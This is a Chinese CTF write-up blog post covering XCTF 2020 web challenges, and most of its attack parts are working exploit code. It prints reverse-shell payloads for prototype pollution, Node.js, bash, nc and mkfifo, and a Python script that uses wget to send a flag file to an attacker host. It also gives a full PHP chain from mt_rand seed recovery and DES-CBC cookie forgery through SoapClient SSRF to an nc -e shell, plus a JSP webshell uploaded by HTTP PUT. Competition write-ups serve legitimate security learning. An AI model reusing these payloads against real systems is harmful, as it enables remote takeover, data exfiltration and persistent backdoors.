鉴于我实在想不到任何能够直接匹配所有字符串的方法, 如果有的话, 也就是下面的非预期了

非预期

赛后问了一下 @sissel 师傅, 发现可以直接通过原型链污染 getshell

这里可以参考 @vk 师傅的 https://xz.aliyun.com/t/7025#toc-1

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

结合前面的注入, 就可以直接打了, 比赛的时候思维太僵化没有想到 2333

我们查看出题人的wp可知

也可以直接反弹shell,需要注意的是容器用的是alpine,内置工具少之又少,它没有bash,你只能用ash或者sh,而且通过传统bash反弹shell中使用的/dev/tcp/ip/port这种方法也是不可以用的(alpine-linux并不允许这样调用socket)具体如何反弹,请选手们自行了解

那么这道题的利用有两种方式, 第一种是直接获取flag, 我们知道wget命令有一个--post-file的参数

wget --help

但是在alpine中, wget并没有这个选项

所以我们可以利用反引号来获取文件内容

wget http://ip:port/`cat app.js|grep flag`

exp如下

import requests
import json

url = "http://192.168.2.106:8081/"
session = requests.Session()

def exp():
session.get(url)
data = {
'user':{
'username': 'admın888',
"__proto__":{
"enableReg": True,
"forbidAdmin": False,
"outputFunctionName":"a; return global.process.mainModule.require('child_process').exec('wget http://ip:2333/`cat app.js|grep flag|base64`');//",
}
},
}
res = session.post(f"{url}", json=data).text
res = session.get(f"{url}log").text


if __name__ == "__main__":
exp()

当然有了rce还不能反弹shell怎么行呢, 既然远程环境是nodejs, 我们可以直接用nodejs反弹

思路就是第一步执行

wget http://ip/port/1.txt -O shell.js

其中shell如下

也可以参考 [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#nodejs)

var net = require("net"), sh = require("child_process").exec("/bin/sh");
var client = new net.Socket();
client.connect(2333, "YOUR_REMOTE_IP_OR_FQDN", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

第二步执行

node shell.js

成功反弹shell

另外docker里面装有nc, 可以看到有-e的选项不过不知道为什么不能用, 对照着表测试了一下, 发现还可以通过这样的方式反弹

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 2333 >/tmp/f

PHP-UAF

本题由清华大学 Redbud 战队提供。
WEB 狗的二进制修养,DEBUG PHP Scripts

进去之后可以看到是个一句话

我们看一下 phpinfo

可以看到很先进, 是 php7.4.2, 蚁剑上去先, 由于 php 版本的问题, 我们以前的很多绕过disable_functions的方法都不能用

但是我们搜一下, 会发现有一个 uaf 洞还可以用 23333

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

蚁剑上传, 然后在首页包含, cat /flag即可

可惜了一道好题 2333

sqlcheckin

进去可以看到这个页面, 源码如下

搜一下有原题, 直接抄即可

https://gksec.com/HNCTF2019-Final.html

nothardweb

First

预期

这一步主要是密码学的知识, 不过应该也算 web 手标配了, 先下载www.zip, 可以看到一部分源码

<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "85196940";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

可以观察到, 加密模式为des-cbc, 其中

$key = strval(mt_rand() & 0x5f5e0ff);
$iv = ******** // unknow

可能会有师傅比较奇怪为什么要 & 0x5f5e0ff

其实是因为php接受的key长度为10进制的8位, 这里的 0x5f5e0ff = 99999999

当然实际上还是出题人比较懒

但是明文我们却是知道的, 我们看加密的部分

$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);

这个类已经在文件中给出

<?php
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}

那么我们现在已知明文密文, 如果能够再获得 key 或者 iv, 就可以直接加解密了, 因为 des-cbc 的加密方式如下

我们看第一个块, 首先取 8 个字节的明文, 与IV进行异或, 再与KEY进行加密运算, 之后输出 16 字节的密文, 而如果我们知道KEY, 后面则是用上一个块的加密结果代替IV异或, 而我们如果能知道KEY, 就可以将明文作为IV, 用密文和KEY进行解密, 获得的第一个块的值, 就是 IV

写一个简单的程序验证一下

<?php
mt_srand();
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$key = strval(mt_rand() & 0x5f5e0ff);
$iv = strval(mt_rand() & 0x5f5e0ff);
$mes = (serialize(new User("guest")));
echo "$mes\n";
$cipher = openssl_encrypt($mes, "des-cbc", $key, 0, $iv);
echo "$key, $iv, $cipher\n";
$iv = openssl_decrypt($cipher, "des-cbc", $key, 0, substr($mes,0,8));
echo $iv;
echo "\ndone\n";

输出为

可以看到红框中的两个部分是一样的, 但是我们如何获取KEY呢, 注意到页面中给了这些信息

其中特别给出了用户数, 而 Uid 我们可以跟一下, 在源码中

if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";

其中$KEY是每个用户都会生成一次, 应该就是 UID, 也符合上面说的

we give every user an special key like yours

而这个mt_rand()很快可以联想到之前安全客上面的一篇文章

无需暴破还原 mt_rand()种子

可以看文章中给出的代码需要的参数如下

main(_R000, _R227, offset, flavour)

各参数分别为

  • 相隔 226 个数的 R0, R227
  • 生成 R0 之前已经生成的个数 offset
  • flavour 如果是 php7 则为 1, php5 则为 0

而这几个参数我们都是已知的, 就可以通过 github 的脚本顺利求出 seed, 进而得到当前用户的key, 那么iv就可知了, 构造脚本如下

首先获取登录中得到的信息

import requests
import re
import subprocess
from urllib.parse import quote, unquote
import sys

url = "http://192.168.2.106:2333/"
session = requests.Session()

def getInfo():
print("[func] getInfo")
res = session.get(url)
cookie_user = res.cookies['user']
uid_first, _, uid_last = re.findall("\d{4,}",res.text)
print(f"[*] {uid_first}")
print(f"[*] {uid_last}")
print(f"[*] {cookie_user}")
return uid_first, uid_last, cookie_user

然后通过这些参数调用 php 计算 key 和 iv

def getExp(uid_first, uid_last, cookie_user, cmd, target):
print("[func] getExp")
res = subprocess.check_output(['php', "first.php", uid_first, uid_last, cookie_user]).decode("utf-8")

计算的部分如下

<?php
// input seed
$uid_first = $argv[1]??1082636436;
$uid_last = $argv[2]??306106574;
$seed = rtrim(shell_exec("python seed.py $uid_first $uid_last"));
echo "seed: $seed\n";

// calc iv
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$o = new User("guest");
$mes = serialize($o);
$c = $argv[3]??"OS8vWDE4Mk5ETklJYytXTUFLZG5xU2hJeFkyQ2tXbTJEb01wWkhRUThkckpYcnFDR2RpalFhb3dDekRTem82RQ%3D%3D";
$cipher = base64_decode(urldecode($c));
mt_srand(intval($seed));
for($i = 0; $i < 228; $i++){
mt_rand();
}
$key = strval(mt_rand() & 0x5f5e0ff);
echo "key: $key\n";
$iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($mes, 0, 8)),0,8);
echo "iv: $iv\n";

然后我们就可以进行反序列化了, 先登录为admin

// calc iv
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$o = new User("admin");
$aaa = serialize($o);
$cipher = openssl_encrypt($aaa, "des-cbc", $key, 0, $iv);
$cookie_user = base64_encode($cipher);
$cookie_hash = md5($aaa);
echo "user: $cookie_user\n";
echo "hash: $cookie_hash\n";

完整的 exp 可以看后面的部分

成功登录admin之后, 就会看到下一关的源码和位置

非预期

De1ta 的师傅直接爆破了 iv 23333, 由于这里的 iv 是写死的, 所以可以直接爆破, 只需要 10^8 次方即可, 实际上只需要爆破2^19次, 因为

0x5f5e0ff = ‭101 1111 0101 1110 0000 1111 1111‬

不是很大, 另外还有师傅直接把 session 赋空, 这样 iv 就为空了 2333

Second

I left a shell in 10.10.1.12/index.php
try to get it!

hint.php 中直接给出了位置, 而右键就可以看到注释的源代码,

这里主要是一个小 Trick

<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}

我们可以通过

/?cc=`$cc`;command

的方式来进行绕过, 发现

`$cc`;

刚好是 6 个长度, 而$就是重新引用了变量, 使得长度不再受限, 那么我们就可以任意执行了

但是我们看提示的位置是在内网, 我们进不去, 有什么办法可以进去呢

做过一些题的师傅应该很快就能想到SoapClient这个类, 推荐 l3m0n 师傅的文章

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

可以看到当调用SoapClient类不存在的方法时, 会触发__call, 使得我们拥有一个请求注入的机会, 这里就正好可以用来打 SSRF, 因为源码中存在一个反序列化, 反序列化的参数可控, 并且会调用一个show()方法

$o = unserialize($uid);
echo $o->show();

这里就能触发 SSRF 了, 参考 l3m0n 师傅的 poc 改一下

$cmd = urlencode("`\$cc`;bash -c 'payload'");
$path = "http://10.10.1.12/";
$path = $path."?cc=$cmd";
$o = new SoapClient(null, array('uri' => $path, 'location' => $path));
$aaa = serialize($o);

试一下就会发现服务器上面装了 nc, 直接nc -e即可, 结合第一关的解密脚本, 写出比较完整的 exp

<?php
// input seed
$uid_first = $argv[1]??1082636436;
$uid_last = $argv[2]??306106574;
$seed = rtrim(shell_exec("python seed.py $uid_first $uid_last"));
echo "seed: $seed\n";

// calc iv
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$o = new User("guest");
$mes = serialize($o);
$c = $argv[3]??"OS8vWDE4Mk5ETklJYytXTUFLZG5xU2hJeFkyQ2tXbTJEb01wWkhRUThkckpYcnFDR2RpalFhb3dDekRTem82RQ%3D%3D";
$cipher = base64_decode(urldecode($c));
mt_srand(intval($seed));
for($i = 0; $i < 228; $i++){
mt_rand();
}
$key = strval(mt_rand() & 0x5f5e0ff);
echo "key: $key\n";
$iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($mes, 0, 8)),0,8);
echo "iv: $iv\n";

// generate exp
$cmd = $argv[4] ?? urlencode("`\$cc`;bash -c 'nc ip port -t -e /bin/bash'");
$path = $argv[5] ?? "http://10.10.1.12/";
$path = $path."?cc=$cmd";
$o = new SoapClient(null, array('uri' => $path, 'location' => $path));
$aaa = serialize($o);
$cipher = openssl_encrypt($aaa, "des-cbc", $key, 0, $iv);
$cookie_user = base64_encode($cipher);
$cookie_hash = md5($aaa);
echo "user: $cookie_user\n";
echo "hash: $cookie_hash\n";

然后是自动上传的脚本

import requests
import re
import subprocess
from urllib.parse import quote, unquote
import sys

url = "http://192.168.2.106:2333/"
session = requests.Session()

def getInfo():
print("[func] getInfo")
res = session.get(url)
cookie_user = res.cookies['user']
uid_first, _, uid_last = re.findall("\d{4,}",res.text)
print(f"[*] {uid_first}")
print(f"[*] {uid_last}")
print(f"[*] {cookie_user}")
return uid_first, uid_last, cookie_user

def getExp(uid_first, uid_last, cookie_user, cmd, target):
print("[func] getExp")
res = subprocess.check_output(['php', "first.php", uid_first, uid_last, cookie_user, cmd, target]).decode("utf-8")
# print(f"[*] {res}")
user = re.findall("user:.+hash", res, re.S)[0].replace("user: ", "").replace("hash", "").strip()
userhash = re.findall("hash: .+", res, re.S)[0].replace("hash: ", "").strip()
print(f"[*] {user}")
print(f"[*] {userhash}")
return user, userhash

def attack():
print("[func] attack")
if len(sys.argv) > 1:
cmd = sys.argv[1]
else:
cmd = "bash -c 'nc ip port -t -e /bin/bash'"
print(f"[*] cmd: {cmd}")
cmd = "`$cc`;" + cmd
# cmd = "abc"
target = "http://10.10.1.12/"
uid_first, uid_last, cookie_user = getInfo()
user, userhash = getExp(uid_first, uid_last, cookie_user, quote(cmd), target)
try:
cookies = {
'user': user,
'hash': userhash
}
session.cookies.update(cookies)
res = session.get(url, timeout=3).text
print("[.] attack maybe not success...")
except requests.exceptions.ReadTimeout:
print("[.] attack success!")
except Exception as error:
print(error)

if __name__ == "__main__":
attack()

VPS 上面监听

nc -lvvp 2333

运行 exp.py, 就可以反弹 shell, 然后在/下找到hint

Last

https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

这个洞还是太古老了 hhh

看到版本搜一下应该蛮明显的

找个 jsp 马

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

然后上传

curl -X PUT http://10.10.2.13:8080/2.jsp/ -d "`echo PCUKICAgIGlmKCIwMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiaSIpKS5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgIGludCBhID0gLTE7CiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4XTsKICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7CiAgICAgICAgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXsKICAgICAgICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7CiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9CiU+|base64 -d`"

连接后在根目录可以发现 flag

easyweb

待更新

happyvacation

这题是.git泄露, 但是我一开始下载不到东西, 一直以为是没泄露, 还发了个朋友圈

尴尬的得到源码之后不会做23333, 先看一下代码

这题的突破点在于这里

clone的复制是浅复制

也就是我们可以覆盖这个类中的一些元素, 那么看一下这个$user怎么传

出乎意料的方便2333

非预期

这题先聊聊非预期, 我们既然可以覆盖元素, 那么比如

覆盖了之后我们就可以任意上传文件了, 保持在同一个session里面就可以了

比赛的时候怎么不瞧瞧呢(摔

import requests
import re

url = "http://192.168.2.106:4000/"
sess = requests.Session()

def login():
sess.get(url)
data = {
"username": "cjm00n"
}
sess.post(url, data=data)
def cover(user):
params = {
"answer": user
}
resp = sess.get(f"{url}quiz.php", params=params).text
print(resp)
def upload():
files = [
("file", ("1.php", open("1.php").read()))
]
resp = sess.post(f"{url}customlize.php?refer=index", files=files).text
print(resp)

def exp():
login()
cover("user->uploader->black_list")
upload()

if __name__ == "__main__":
exp()

不过后面被修复了2333

预期解

预期解是xss


作者: cjm00n
地址: https://cjm00n.top/CTF/xctf-zhanyi-2020-writeup.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

浅析同源策略及Bypass V&N公开赛2020 writeup

评论